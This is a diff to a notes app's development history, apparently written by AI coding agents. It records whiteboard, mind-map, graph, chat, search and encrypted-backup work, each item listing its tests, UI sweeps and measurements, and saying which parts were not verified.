+  | UI_MODERNISATION_PLAN | ~~Phase 8's docks over the seven-control ceiling~~: re-measured 2026-09-20 (`docks.js` at 1440): notes 6, graph 6, library 5, chat 4, timeline 4, reminders 4, and only `#wb-topbar` at 13, which the plan names as the menu-bar exception (Insert, Edit, Arrange, View, Board on the dock's zones). Done. Phase 11, the phone done properly: items 1, 2, 3, 5 (its share sheet half), 6, 8 and 9 were built on 2026-09-20, and items 4 (the graph: the hold that opens the node menu and arms the lasso, the controls as one sheet) and 7 (the whiteboard and the map: two fingers for the camera, the tools as a sheet, the board bar at the touch floor) on the same day, each with its own gate in `scratchpad/ui-sweeps/` (`graphphone.js`, `wbphone.js`). Item 5's reader full screen with a bottom bar was built on 2026-09-20 (`scratchpad/ui-sweeps/libreader.js`, the sheet recipe's `page` variant, and a pane-grid bug it found that was wrong at every width under 1100). Item 9's hover-only half was swept properly on 2026-09-20 (`scratchpad/ui-sweeps/hoveronly.js`: 45 reveal rules, eleven stops, `hover: none` emulated and each candidate tapped) and the two it found were both a `hover: none` override written a class short of the rule it had to beat, so neither had ever applied. Item 11's two open gates were closed on 2026-09-20: errors.js was already clean at 390, and contrast.js, which took no viewport and had only ever run at 1440x900, now takes one, reaches Settings the way a phone reaches it, reports how many text elements it measured (which caught the whiteboard being in its tab list with no tab page to open, so it had been measuring an empty window at every width) and comes back 0 low-contrast over 33 surfaces at 390, 820 and 1440 in light and dark. Item 7's leftovers at 820 were measured and fixed in the same pass. What is left of the phase: item 11's screenshot set for the owner. |
+  | GRAPH_PLAN | ~~All four~~ **stale, checked 2026-09-23**: Phase 5's real gap (a saved view restoring unpinned positions) was built 2026-09-21 and the `?since=` cursor is left until something polls, both on the plan's Phase 5 row; Phase 6 was measured built on 2026-09-20 (this file's Graph section); the local pane's switches are left by the 2026-09-13 decision; 6b the minimap was built 2026-09-13 (`minimap6b.js`). The one line the plan still held, a lasso selection dragging as one, was built 2026-09-23 (`oi-groupdrag.js`). |
+  | WHITEBOARD_PLAN | Decision 7's other half; the phone context bar comparison; sketch handles at zoom; the arrange panel items. |
+  | MINDMAP_PLAN | The mapux agent's leftover list (this file's Mind map section). |
+  | CHAT_PLAN | ~~Phase 1's other half, which note grounds a sentence~~ built 2026-09-20 (the fixtures exist, 18 of 18 attributed, was 17 of 18); ~~Phase 1's fourth gate line~~ built 2026-09-21 and its replay tail 2026-09-23, so Phase 1 is closed; Phase 4's harness items were closed 2026-09-20, and what is left is its `evals` breadth (WORLD_CLASS_PLAN 9). |
+  | TIMELINE_PLAN | ~~Section 7's two measurements~~ taken 2026-09-20, and both found a bug: the density strip hid on a note count (it hid a profile of 150 notes and showed a comb of 200) and the table drew no title column at all between 600 and 1024. Both fixed and re-measured. The third line, the "auto" scale thresholds, was tuned 2026-10-04 (HISTORY, "the auto scale"). |
+  | AGENT_SKILLS_REFORM | ~~Phase D verified against a real model, which needs WORLD_CLASS_PLAN section 9's dev-only runner first.~~ **Done 2026-09-20.** The runner is `scratchpad/llama-dev.sh` and the gate is `tests/test_skills_evals.py`, four `evals` tests that skip at collection without a model: 3 passed and 1 skipped against Qwen2.5-1.5B-Instruct Q4_K_M through llama.cpp, with the skip itself the finding (the run stalled on step 1's `list_tags` contract and said so, rather than ticking it). Record in HISTORY's "Moved from the plans, 2026-09-20". What is left is breadth, and it sits in WORLD_CLASS_PLAN 9: the same gate at 3B and 4B, and an eval each for the rest of CLAUDE.md section 4's unproven list. |
+  | WORLD_CLASS_PLAN | **Row check done 2026-09-24 (INBOX 399).** Every row read against the code; the built ones moved to HISTORY's "Moved from the plans, 2026-09-24", each open row carries a "State 2026-09-24" line, and the ranked list of 38 is at the top of the plan's section 8. The top ten, by impact: F3 `semantic_search` reading every vector per request; Brief 15's LAN hardening (S1 to S3, S5, S6); B2 durable jobs; D2's connections rail (and 261's `/resurface/near`); I1's night runs and morning card; chunk vectors then I6's evidence cards; I3's questions view; `similar_pairs` cached for link suggestions and tensions; D5 typed properties on notes; the S-sized section 1 lints. Fixed during the check: 283, 285, the Most used widget's picker line, Download .md on a locked notebook, and `/files/gallery`'s paging (F2's frontend half). Built 2026-09-24 after it: row 1 (F3, `semantic_search` on the matrix), row 9 (`similar_pairs` cached) and row 2 (S1, S2, S3, the rest of S5, S6's redirect half, `/debug/health` paths; left `tests/test_lan_mode.py` and the LAN offer). Built 2026-10-04: row 3, B2's durable jobs for the pool's six kinds (`core/jobstore.py`; left: the other kinds onto the table, the panel on `/jobs/stream`). Built 2026-10-05: row 21 (the model bench), row 22 (the margin reader, documents; left: the note editor), row 24 (the web clipper from the browser), row 25 (the importers, keyboard reach, the WCAG pass, the timed first run; left: multi-window), row 27 (H9 whole; left: `boottime.js` in the workflow). |
+- **Settings panes with no loading state** (found-not-fixed in other agents' lists). Built: Models, What it remembers, What it learned (its switches and its list) and the Logs list put `showSkeletons` placeholders where their rows will be and `clearSkeletons` them when the answer lands (DESIGN.md's list recipe; only into an empty list). The Models pane's `Checking the models…` line keeps its words, and the placeholders sit under it; a status already known is painted the moment Settings opens instead of waiting for the refresh. `scratchpad/ui-sweeps/settingsskel.js` holds each pane's one endpoint for 2.5s: placeholders at 400 ms with `aria-busy` and none left after the answer, 15 of 15 (the base had no placeholder code in any of the five). `tests/test_settings_skeletons.py` (4).
+- **Capture's formatting strip changed height when the Library bundle landed.** Built: at 390 the strip drew expanded (two rows, 104px) and folded to the 54px collapsed bar when documents.js mounted the fold, the name and the tools group (More, layout, line numbers, the chevron); the collapsed shape is the default, so it is now the markup's (`is-collapsed` on `#note-toolbar`), `foldNoteToolbarForFirstPaint` (notes-list.js, boot) undoes it for a saved expanded choice, and the name is drawn by a `::before` at the cluster's own height (2rem, the touch floor under a coarse pointer) until the real one mounts. `scratchpad/ui-sweeps/capturestrip.js` (the bundle's scripts held 4s, then the box pressed): one row at every sample before and after, a constant 54px at 390 and 42px at 1440 (before: 2 rows, 104px, then 54px). Not as briefed (a reserved More slot): measured, the More button is only shown by the one-row mode, which is not the default, so the shift was the fold. The CSS-styles art block (`.bg-mesh-field`, `.bg-bubble`, `@keyframes bg-drift-x/y, bg-rise, bg-wobble` and their `.bg-art-layer` rules, 2.6 KB) was removed to keep the boot CSS under its cap: nothing sets those classes since bg-art.js drew every style on the canvas. `tests/test_capture_strip_first_paint.py` (3).
+- **DOCUMENTS_PLAN's table-cell reveal row** (`docRevealForSuggest` would not bring a cell's word into view). Not reproduced: `scratchpad/ui-sweeps/revealcell.js` seeds 70 paragraphs and a table whose cells hold "seperate" and "definately", presses each word's row in the findings panel from the top, and reads the mark's box inside a drawn `.cm-md-td` against the scroller's box (whole box inside) and the floating menu against the word (no overlap): 9 of 9 in Live at 1440 and at 390, 7 of 7 in Source at 1440.

+## Moved from the plans, 2026-10-05 (boardmap-1005)
+
+The board and map agent's queue: INBOX 596, 607 to 610 and 617, placed in
+MINDMAP_PLAN and WHITEBOARD_PLAN; the open remainders of 596 and 608 stay in
+WHITEBOARD_PLAN's "Placed from INBOX, 2026-10-05 (boardmap-1005)".
+
+- **609, smooth long branches** (`95e8127`): a branch's two sides are a
+  spline through more samples. `tests/test_map_ribbon_smooth.py`,
+  `bm1005-curve.js`.
+- **608, edge auto-pan on boards and maps** (`64ab644`): a marquee, an item
+  or a branch dragged to the canvas edge pans the board, faster deeper in.
+- **607, the map from the graph** (`3f4aa42`, `e1c598d`):
+  `POST /whiteboard/maps/from-notes` builds the tree from the notes' links
+  (the picked or most connected note in the middle, linked notes under the
+  note they link to, the rest by category, at most eight children a topic,
+  other links as cross-links, both sides); Open on the notice and the bell
+  row. `tests/test_map_from_notes.py`; `bm1005-mapfromgraph.js`: 37 nodes,
+  widest 8 (was 33 in one column), 22 left and 14 right, 0 overlaps.
+- **610, a topic's controls** (`4ed1b3c`): the text size on the topic's bar;
+  every select in its Text, Shape and Branch line doors drawn as a
+  `.seg[role=group]` (`wbMapChoiceRow`); one resize grip on the bottom right
+  corner (Shift scales the text), 24px at every zoom. `tests/
+  test_map_node_controls.py`; `bm1005-nodetasks.js`: 8 of 11 tasks over two
+  presses on the base, 11 of 11 in at most two after, at 1440 and 390, light
+  and dark.
+- **617, several topics picked** (`98e319e`): no group box, the bar's
+  `mapmulti` group (colour, bold, tasks, fold, summarise), the same in the
+  right-click menu, one undo step (`wbMapStyleMany`).
+  `tests/test_map_multi_select.py`; `bm1005-mapmulti.js` 10/10 in all four.
+- **596, the board's sidebar** (`b454b7b`): beside a side dock rather than over it
+  (`[data-wb-dock="side"]`), one height on a board and a map, the Library's
+  menu hung from its button's right edge, a map's rail Library, This map and
+  Outline (`WB_SIDE_TABS_BY_KIND`, `wbRenderSideMap`), and built-in
+  Templates (five board, seven map; `scripts/build_board_library.py`).
+  `tests/test_board_sidebar_596.py`, `tests/test_board_library.py`;
+  `bm1005-sidebar.js`: on the base 58,854px² of overlap, 341 against 443px,
+  the menu 20px left and 15px low, 0 templates; after, 0, 703 and 703, 0 and
+  4px, 5 and 7 templates placed by a drag (a press at 390).
+
+## Moved from the plans, 2026-10-05 (wb-phase2: draw.io phase 2)
+
+From WHITEBOARD_PLAN (decisions 30 on) and the features audit's
+remaining whiteboard rows; the open rest is in
+`docs/roadmap/agent-remaining/wb-phase2.md`.
+
+- **Step 1, bends on straight and curved connectors, and line jumps**
+  (decisions 30, 31). `points` drives every style (`wbLinkShape`,
+  `wbCurveThroughSegs`, `wbCurvePathD`); one grip set,
+  `wbRenderWaypointHandles`; floating ends aim at the nearest waypoint;
+  `wbLineJumpsD` hops over lines painted under (read off the sorted
+  selection: d3's `sort` returns a new one). Found and fixed on the way: a
+  click or double-click on an add ring saved one or two bends at the ring
+  (elbows too), and a bend's double-click never took it out (a save on the
+  first click re-rendered the grip). `tests/test_wb_waypoints.py` 14;
+  `wbwaypoints.js` 20/20 at 1440 and 390, light and dark; `wb1005-elbow.js`
+  18/18, `wb1005-format.js` 17/17, `wblinklabel.js` 12/12 (two checks
+  updated: the bend is `points`, and the right-click point avoids the bar,
+  which covered it on the base too).
+
+- **Step 2, Mermaid subgraphs as frames** (decision 32).
+  `wbMermaidParse` reads `subgraph` and `end` (three title forms, nesting);
+  `wbMermaidLayout` lays each subgraph out as a block in its parent's rows
+  and returns `frames`; `wbImportMermaid` makes them innermost first under
+  everything (`wbFrameZ`); `wbBoardToMermaid` takes `frameOf`
+  (`wbMermaidFrameOf`) and writes subgraphs. `tests/test_wb_interchange.py`
+  10 (5 new); `wbmermaidframes.js` 11/11 at 1440 and 390, light and dark;
+  `wb1005-interchange.js` 8/8. The brief's other half, FreeMind keeping its
+  root, was already built (FEAT-01, `cc89dcb`,
+  `test_freemind_imports_its_single_root_as_the_central_topic`): not rebuilt.
+
+- **Step 3, W2, the board time machine** (decision 33). Server
+  `routes_board_history.py` (`GET /whiteboard/history`,
+  `GET /whiteboard/history/{event}`, `POST .../restore`); library placements
+  record per-item `created` events (`test_board_library.py`'s one-event test
+  rewritten to say so). Client `whiteboard-history.js` (lazy, Library
+  bundle): the slider bar on the present bar's recipe, the past drawn by the
+  board's render, writes refused (`wbHistGuard`), a restore recorded as one
+  Undo step. Found on the way: SQLite reuses a deleted row's id (no
+  AUTOINCREMENT), so one item id's log can hold two items; a `created`
+  starts a fresh state. `tests/test_board_history.py` 10;
+  `wbhistory.js` 14/14 at 1440 and 390, light and dark (the sweep ages the
+  log in its own data dir to make three moments).
+
+- **Step 4, smart guides** (decision 34). Checked first: edge and centre
+  guides, equal spacing between two neighbours, Alt to bypass, group drags,
+  and the Arrange menu's align and distribute (`WB_COMMANDS`) all existed;
+  not rebuilt. Added: drawn shapes as targets (`wbGuideBoxes`, hidden items
+  left out) and a row's or column's spacing continued past its end
+  (`wbSpacingSeries`). `tests/test_wb_guides.py` 5; `wbguides.js` 6/6 at
+  1440 and 390, light and dark; `wbgroupguides.js` 0 findings.
+
+- **Step 5, connection points and waypoint consistency** (decision 35).
+  Checked first: eight fixed anchors and their hover hints with a link
+  tool existed (bbox fractions, so off a diamond's or an ellipse's outline);
+  waypoints on every style came with step 1. Added: `wbPortsForPath` (a
+  polygon's corners and side middles, a curve's compass points, cached per
+  path), `wbAnchorPoint` read from the fraction, ports on hover with Select
+  and a drag from one to connect (initWhiteboard's "Connection points with
+  Select"), and `wbCarryWaypoints` in `wbFinishDrag`.
+  `tests/test_wb_ports.py` 7; `wbports.js` 9/9 and `wbwaypoints.js` 22/22
+  at 1440 and 390, light and dark.
+
+- **Step 6, FEAT-13 first part: Branches from my notes** (decision 36).
+  `routes_map_suggest.py` (`POST .../nodes/{id}/suggest`, writes nothing;
+  `POST .../nodes/{id}/branches`, one transaction, a created event each);
+  `wbMapSuggestBranches` (whiteboard-map.js) on the picker dialog with the
+  Attach picker's rows, from the topic menu's Add group and the command
+  table (`suggest-branches`). `tests/test_map_suggest.py` 6 (fake transport:
+  the prompt's parse, both fallbacks, no invented note); `mapsuggest.js` 8/8
+  at 1440 and 390, light and dark (no model on the sweep's server, so the
+  notebook fallback). Open: placed in MINDMAP_PLAN, "The features audit's
+  Phase G, what is left" (Summarise this branch is built, op3-1005).
+
+- **Found by the regression sweeps after steps 5 and 6.** A press on a
+  port with Select released a click on the container, which cleared the
+  selection it had just made (`wblock.js` 6/17 on step 5, 17/17 after the
+  release's click is swallowed for that task); and the search engine joins
+  the nearest notes by meaning to every keyword search, so a topic was
+  offered notes that shared nothing with it: a note found by meaning alone
+  now needs a cosine of 0.5 (`MIN_MEANING`).
+  And on a data dir other sweeps had used, a new board's first moment
+  counted "4 added, 2 removed" for two shapes: a reused id's log held another
+  board's item, so each event is now placed by the board its payload names
+  (`_board_events`; `test_a_reused_id_brings_no_other_boards_history`).
+
+## Moved from the plans, 2026-10-05 (backlog-1005: BACKLOG, section by section)
+
+One agent's pass over BACKLOG and the plans' open lines; each bullet says how it
+was verified. Items found already built are listed with the file that proves it.
+
+- **A synthesised export, as a skill** (BACKLOG section 26, 102 item 10, 109.3
+  item 5): the built-in "Write a document from a tag" (`ai/skills.py`; input
+  `tag`; list_notes, get_note, an ordering judgement, then create_document as the
+  one write, last, so a run that stalls earlier has changed nothing; it carries no
+  note-editing tool). README says 21 built-in skills.
+  `tests/test_tag_document_skill.py` 3/3, `test_skills.py`, `test_run_skill.py`,
+  `test_readme_freshness.py` green. Not run against a model: the steps' contracts
+  are checked, how a small model writes the document is not. The Graph/list
+  selection button is still open.
+- **Encrypted export and import of the whole notebook** (BACKLOG section 115 row
+  10): `GET /export/backup` has long written the zip and nothing read it back.
+  `core/backup_bundle.py` builds it (a cleaned snapshot plus `media/` and
+  `uploads/`), seals it as `.mmenc` (scrypt key from `core/crypto.py`, AES-GCM in
+  1 MiB chunks with a last-chunk flag in the associated data, so a file cut at a
+  chunk boundary fails), and restores either kind (`backup.restore_file`: safety
+  snapshot, integrity check on a temp copy, atomic swap; files merged over the
+  folders, members outside `media/` and `uploads/` or climbing out of them are
+  skipped; every session ends). Routes `POST /backups/bundle` (the password in
+  the body) and `POST /backups/bundle/restore`; Settings, Import & export has a
+  password field by Export full backup and a Restore a full backup group with its
+  '?'. `tests/test_backup_bundle.py` 8/8 (round trip over chunk boundaries, wrong
+  password, truncation, export-wipe-import equals the original, plain zip, an
+  archive that tries to write outside the data folder);
+  `scratchpad/ui-sweeps/backupbundle.js` PASS at 1440 and 390, light and dark
+  (layout inside the window, a sealed file with none of the note text, a wrong
+  password refused with nothing changed, the right one brings back all three
+  notes after the reload and unlock). Left: no progress bar for a multi-gigabyte
+  file; a whole-notebook merge instead of replace is not offered.
+- **The Chat tab numbers a grounded answer while it streams** (CHAT_PLAN placed
+  row "ignores `grounding_live`", INBOX 320): `sendChatMessage` reads the event,
+  `agentTimeline` takes an `afterAnswerPaint` hook (late-bound through the
+  bubble's `paintHooks`, since the bubble is built before the stream has rows)
+  and every live paint of a prose step puts the markers back, the numbering the
+  final pass's own (`chatSourcesFrom`). `tests/test_chat_live_citations.py` 2/2;
+  `scratchpad/ui-sweeps/chatlivecite.js` PASS at 1440 and 390 (first number
+  3.8 s into a 5.7 s answer; the base placed it at the last token, 6.0 s of 6.0 s
+  at 1440). Not run against a real model, and not in dark: the markers are the
+  Ask tab's existing `.answer-citation`.
+- **What the data folder weighs** (BACKLOG section 26, the first step): `GET
+  /storage` adds `uploads_bytes`, `media_bytes`, `backups_bytes` from a cached
+  walk (`diskspace.dir_bytes`: 60 s, links not followed, 200,000-entry bound);
+  Settings, About, Health has a Files on disk row. `tests/test_storage_footprint.py`
+  3/3; `scratchpad/ui-sweeps/healthfiles.js` PASS at 1440 and 390, light and
+  dark. The per-extra footprint is still open.
+- **Highlights as a queryable collection** (BACKLOG 109.4, 102 item 7, 111.2
+  item 3): `has:highlight` in the search operators and a Library Highlights chip,
+  one card per `==passage==` with its note, no table (`entry/highlights.py` is the
+  one reader; `routes_library._highlights`; the colour words are pinned against
+  the toolbar's `MD_COLOURS`). `tests/test_highlights_collection.py` 7/7;
+  `scratchpad/ui-sweeps/libhighlights.js` PASS at 1440 and 390, light and dark
+  (the chip counts, Everything holds none, no ticks or menus, a card opens its
+  note, no sideways scroll).
+- **A short note and the meaning-based filer** (BACKLOG section 8, "ai is cool"):
+  measured, not guessed, with the shipped embedding model (BAAI/bge-small-en-v1.5,
+  cached locally) over `filing_eval.py`'s hundred-note, ten-category notebook
+  (`scratchpad/filing_short_eval.py`). Today every one of 20 short notes that
+  belong nowhere was filed by meaning (the baseline cosine of two short texts
+  clears both the 0.60 centroid bar and the 0.42 neighbour bar); the nearest
+  filed note separates them (median 0.83 for notes with a home, 0.64 without).
+  A note under four words now needs a nearest note at 0.72: 59 of 60 short notes
+  with a home still file, 3 of 20 without one do. `tests/test_janitor_short.py`
+  5/5 (2 of them fail on the base). One embedding model measured; another
+  backend's scale differs and a short note there falls to the notebook's words.
+- **Words-filed notes get a second opinion** (BACKLOG 76, second half):
+  `janitor.review_words_filed`, called from `autonomous._optimization_pass`
+  (20 notes a tick, never a private, binned or hand-filed note, a note the
+  model cannot decide is not asked again this run); a move is a `filed` event
+  by `system:filing` and the note becomes `auto`, so a move by hand is a
+  correction. `tests/test_words_review.py` 7/7 on the fake transport. Not
+  run against a real model.
+- **Audit trail export** (BACKLOG section 115 row 11): `GET /audit/export.csv`
+  (`routes_settings.py`). Decisions, taken 2026-10-05: events on private notes
+  (and the vault's own) are excluded; every cell is defanged against CSV formula
+  injection (a leading `=`, `+`, `-`, `@`, tab or carriage return gets a `'`);
+  the columns are time, actor, action, entity kind, entity id and title; `limit`,
+  `offset` and `X-Total-Count` follow the list endpoints' recipe; the export
+  itself is logged. The Activity chip's strip carries the Export activity button.
+  `tests/test_audit_export.py` 12 tests. Not run in a browser this round (the
+  earlier `scratchpad/ui-sweeps/activityexport.js` pass predates the relabel).
+  Not covered: an event about a note that was private and has since been purged
+  (its id is gone, so the filter cannot tell), whose `detail` is still exported.
+
+## OPEN.md rows closed, 2026-10-05 (the open-rows agent)
+
+The well-defined rows of `agent-remaining/OPEN.md` taken by one agent; each line says how it was verified.
+
+- **The note card's "Tag with Atlas" chip was drawn on a private note** (sweep 1004 item 7, found-not-fixed in `archive/agent-remaining/sweep-1004.md`). Built: the chip's gate in `note-cards.js` carries `!entry.is_private`, as the note menu's AI actions group already did (`menus.js`); `POST /entries/{id}/reevaluate` refuses a private note, so the chip's only answer was a toast. Measured at 1440 with `scratchpad/ui-sweeps/open-privatechip.js` (a plain and a private untagged note, a model reported running): base plain 1, private 1; fixed plain 1, private 0. `tests/test_private_note_no_ai_offer.py`.
+
+## OPEN.md rows closed, 2026-10-05 (the open-ledger pass)
+
+The second pass over `agent-remaining/OPEN.md` on 2026-10-05, section by section: each open row checked against the head and the running app; a row found built, or built here, is deleted from the ledger and named below with how it was verified. The pass's own account is `archive/agent-remaining/open-ledger-pass.md`.
+
+- **The other search surfaces still do their own thing** (Backend). Built, one surface per commit, each with a sweep at 1440 and 390: the Notes filter asks `GET /search` for `has:`, `space:`, `kind:` and the Semantic switch (`search1005-notes.js`; the client parser still owns `tag:`, `in:`, `title:`, `is:`, dates and phrases), the Library's Semantic filter (`search1005-library.js`), and the command palette's Notes and Documents groups, which lead with the engine's answer after a 120 ms pause and are topped up by the in-memory match so typing never waits (`search1005-palette.js`: a typo and a word inside a document body now find the note and the document, the base found neither). Not verified: ranking quality against a real embedding model (every test runs on the fake one).
+- **The word menu measures its own width before it is placed** (Documents). Built: reproduced at 390x844 (a short menu at the right edge, then a long candidate: 256 of 316px, right edge on the window's), fixed by parking the menu with `docPlaceFixed` at the edge before `placeDocSuggest` reads `offsetWidth`; `tests/test_ui_recipes.py` holds the order, `scratchpad/ui-sweeps/wordmenuwidth.js` 5 of 5 at 1440 and 390, light and dark.
+- **A Files row asks for a PDF first page that this sandbox cannot render** (Library). Built: `GET /media` rows carry `has_pages` (a PDF and `pdfpages.available()`), the attachment gallery's `has_pages` now needs the extra too, and `renderLibraryImagesGallery` asks for a page on `has_pages` alone (the `.pdf$` name guess removed). `tests/test_pdf_first_page_only_when_renderable.py` (3); `scratchpad/ui-sweeps/pdfpagereq.js` at 1440 and 390, light and dark, against a server with `pypdfium2` hidden (0 requests, glyph on both rows) and one with it (2 requests, 0 404s).
+- **The fold chip is 128.8px of a 156.3px content column at 1440** (Library). Already built: INBOX 279 replaced the card's fold with a one-word `.library-image-text-chip` ("Text") that opens the lightbox at the reading. Measured with the new `scratchpad/ui-sweeps/foldchip.js`: 60px of a 179.4px column at 1440 (33%) and of 328.4px at 390 (18%), light and dark.
+- **The six descriptions start at six different heights** and **Two pictures in a gallery row are still different sizes when one card has nothing to say** (Library). Decided, not open: UI_MODERNISATION_PLAN's Phase 7 amendments record the trade (the picture takes the slack; a two-row subgrid was built, measured and taken out because it puts a 75px hole under the shortest card), so neither is work until the owner reports the row as ragged.
+- **Toggle rows onto one recipe (no lavender-filled bars)** (Settings and help). Mostly already built: the consistency pass (08-consistency.css) took the fill off every checked checkbox row of both classes and gave both the `--divider` hairline. Measured with the new `scratchpad/ui-sweeps/togglerows.js` (every Settings section's visible switches, grouped by shape): the one difference left was the gap, 15 checkbox `.check-row` rows at 6.4px against 8 `.setting-check` rows at 9.6px; both take `--space-4` now, and `#searxng-autostart` leads its row in the markup. After: one shape (32x18 switch at +9, 9.6px gap, no fill at rest) at 1440 and 390, light and dark. `tests/test_ui_recipes.py` holds it; DESIGN.md's on/off row names it.
+
+## Moved from the plans, 2026-10-05 (op3-1005)
+
+- GRAPH_PLAN, the first build after a change. `jsonable_encoder` walked
+  the whole payload (213,459 calls, 0.96 s of a 1.95 s cold build at 5,000
+  notes, cProfile) to return the plain values it was given; `_build_graph`
+  hands the payload to `JSONResponse` as it is and falls back to the encoder
+  only on a value JSON cannot take. Same bytes (a test compares them).
+  Measured on the bench notebook, alternating which shape goes first, load
+  about 7: the first cold build 1,519 to 1,541 ms before, 1,197 to 1,212 ms
+  after; the second 696 to 1,470 ms before, 466 to 532 ms after.
+  `tests/test_graph_encoded_off_loop.py`. Then `paths._connect` (the map's PageRank
+  and every path search) reads a link's five columns instead of building
+  10,000 `EntryLink` objects: `_connect` 0.48 to 0.14 s under cProfile, the
+  first cold build 1,197 to 1,212 ms before, 670 to 712 ms after (one run at
+  1,048 ms in a load spike). `tests/test_graph_paths.py`.
+
+- The features audit's Phase G, Summarise this branch. Built:
+  `POST /whiteboard/boards/{b}/nodes/{n}/summary` (routes_map_suggest.py)
+  reads the branch as an indented outline (120 topics, 6,000 characters at
+  most) and writes nothing; the model's two to four sentences when it
+  answers in prose, else the branch said plainly ("Centre: One, Two, Three
+  and Four (6 topics in all).", `source: "outline"`, with why). The map's
+  `wbMapSummariseBranch` puts it into the topic's own note, open and
+  focused, kept on close as one Undo step; the topic menu, the palette and
+  the Guide's mind map keys name it. `tests/test_map_summary.py` 5 (fake
+  transport: the outline sent, a list reply refused, the fallback);
+  `bm1005-mapmulti.js` check 6 at 1440 light and 390 dark (no model on the
+  sweep's server: the plain form, the note inside the window, kept).
+
+- The features audit's Phase D, fold-to-level (Alt+1 to 9). Built:
+  `wbMapFoldToLevel` (whiteboard-map.js) folds every topic at the level
+  that has a branch under it and opens the shallower ones, saving only the
+  changed folds, one Undo step (`WB_RECORDED`); Alt and a digit on a map,
+  palette rows for levels 1 to 3, a "Show two levels" row in the topic menu,
+  the keys sheet and the Guide's mind map keys. Measured with
+  `bm1005-mapmulti.js` check 5 (Centre, four children, one grandchild):
+  Alt+1 shows 1 topic, Alt+2 5, Alt+3 all 6, and one Ctrl+Z after Alt+1
+  leaves 0 folded, at 1440 light and 390 dark. `tests/test_wb_commands.py`.
+  Still open from Phase D: editing in the Outline tab, M1's latency gate and
+  the strip's doors (the mind map agent's).
+
+- WHITEBOARD_PLAN, INBOX 608's list half: read at head here as nothing to
+  build (no list selected by dragging) and closed; superseded the same day
+  by the list drag-select built on `claude/notes-flow-rebuild` (`DRAG_EDGE`,
+  selection.js), which WHITEBOARD_PLAN now names.
+
+- WHITEBOARD_PLAN, INBOX 596's skeletons. Built: `wbLoadLibrary` draws
+  six `showSkeletons` into an empty list before the index and its sets
+  arrive, `wbRenderLibrary` clears them; the Notes tab (`renderWbLibrary`)
+  draws five before the notebook's first page and renders once it lands.
+  Measured with `bm1005-sidebar.js` (check 7, the index held 1.5s): 0
+  skeletons before, 6 (51px, `aria-busy`) after, then 51 tiles and none
+  left, at 1440 light and 390 dark. The Notes half is read, not measured
+  (the boot loads the notebook before a board can open).
+  `tests/test_board_sidebar_596.py`.
+
+- CHAT_PLAN, OPEN.md triage. The placed lists (72, 63, 71, 45) were already
+  struck and moved by earlier passes; checked, nothing left. The question
+  hover row: hung `calc(100% + 2px)` under its bubble, a 25px row in a 13px
+  gap; it overlapped the answer below by 13px in height everywhere and in
+  width only from 640 to 820 (7, 3 and 13px at 820, 700 and 640; -28 and
+  -53px, clear, at 1024 and 1280, where the answer's width cap leaves room).
+  Now `top: calc(100% - 0.75rem)`: 2px under the bubble's last line, 1px
+  clear of the next message at 640 and 1280 (a probe through `addBubble`).
+  `tests/test_chat_transcript.py`.
+
+- GRAPH_PLAN, a slimmer node. Built: `/graph?slim=1` leaves out a note
+  node's keys at their default (`_NOTE_DEFAULTS`, routes_graph.py) and a
+  link's three nulls, times to the second, centrality to six figures; the
+  map asks for it (`graphEndpoint`) and `graphFill` (graph.js) restores the
+  shape on arrival in both renderers. Measured on the 5,000-note bench
+  notebook (`kg1005_graph_bench.py` seeding): 3,145 to 1,767 KB; the second
+  cold build after a write 992 to 1,470 ms full against 696 to 736 ms slim;
+  the first cold build 1.4 to 1.6 s either way. `graph514.js` passes on the
+  slim payload. The dashboard's widgets read the slim payload too (only each
+  link's two ends), so one cached build after a change serves both; boot JS
+  paid for it with two optional chains. `tests/test_graph_slim.py`.
+
+- WHITEBOARD_PLAN, INBOX 596's side column. Built: the column is
+  `--wb-w-tools` (176px) on a board and a map (173 and 225 before), each
+  row a four-cell grid across it, the layout select a whole row; below 600
+  a side dock is the bottom strip and the dock switch is hidden. Measured
+  with `bm1005-sidebar.js` (DOCK=side): cell columns [7,49,91,133] on a
+  board and [7,49,91] on a map, 0 past the padding; at 390 light and dark
+  the picker answers its own centre with the sidebar open (covered,
+  7,554px², before). `tests/test_board_sidebar_596.py`.
+
+## INBOX resolved, 2026-10-05 (ledger-1005: OPEN.md rows)
+
+The third pass over `agent-remaining/OPEN.md` (Whiteboard and mind map and Atlas left to their agents). Each line says how the row was verified; every remaining open row now ends in a "Needs:" line.
+
+- **Open questions switch** (Learning loop). Built: `facts.run` and `_pair_passes` read `open_questions` (`questions_on`), so off stops collecting questions and matching them to answers; `tests/test_night_pairs.py` `test_the_open_questions_switch_stops_collecting_and_answering` and its on twin. The row's other three switches: `margin_reader` is read by `api/routes_editor.py`, `model_bench` by `api/routes_bench.py`; `evidence_checks` stays open (what it gates is undecided).
+- **`#doc-ai-verb` and `#graph-layout` differ in segment radius.** Decided and built: DESIGN.md's segmented-track table puts both in "a choice control" (`--radius-choice`); `scratchpad/ui-sweeps/segradius.js` reads 8.8px for both at 1440 and PASSes (its square-strip expectation now follows `.tabs-line`, 0 findings after 4).
+- **Phase 11 item 9's other half** (hover-only and long-press). Built: `hoveronly.js` (UI_MODERNISATION_PLAN Phase 11, item 9) and `tests/test_ui_recipes.py` `test_every_right_click_menu_has_a_long_press_twin` (`wireLongPress`, 23 call sites).
+- **Phase 11 items 2 to 8** (per-surface phone shapes). Built or decided, each with its gate named in UI_MODERNISATION_PLAN Phase 11 (Capture is the sub-tab behind the +, Documents open Rendered below 600, the whiteboard's tools are a sheet, Settings keeps its phone shape).
+- **uitrio.md: the focused head's `flex: 1 1 20rem` breakpoint, and the density picker hidden below 600.** The row's premise is gone: Focused is now a banner over a full-width search (07-whiteboard-misc.css, "Do not remake the one-row head"); `scratchpad/ui-sweeps/focusedhead.js` measures it at 1440, 1024, 820, 599 and 390, no sideways scroll at any width. The phone is decided in `dashCustomiseItems` ("Below 600 the view is not offered: a phone's Full is already compact").
+- **Settings Packages rows leave a 16px gap** (uipolish-0924). Measured, not so: 12.8px at 1440, 1024, 820 and 390 (`scratchpad/ui-sweeps/packagesgap.js`).
+- **The About pane's "Take tour again" greyed out with the tour off.** Closed: `TOUR_ENABLED` is pinned `true` by `tests/test_ui_recipes.py` (so the disabled branch cannot be reached), and the guard's load order that was the real fault is held by `tests/test_frontend_load_order.py`.
+- **arch.md: `entry_revisions` and `audit_log` never pruned.** Built: `EntryRevision` keeps the last `MAX_REVISIONS` (`entry/manager.py`) and `events.compact` (`COMPACT_AFTER_DAYS`, `COMPACT_KEEP_LAST`) runs at startup as `_compact_event_log` (`api/app.py`); `tests/test_events.py`.
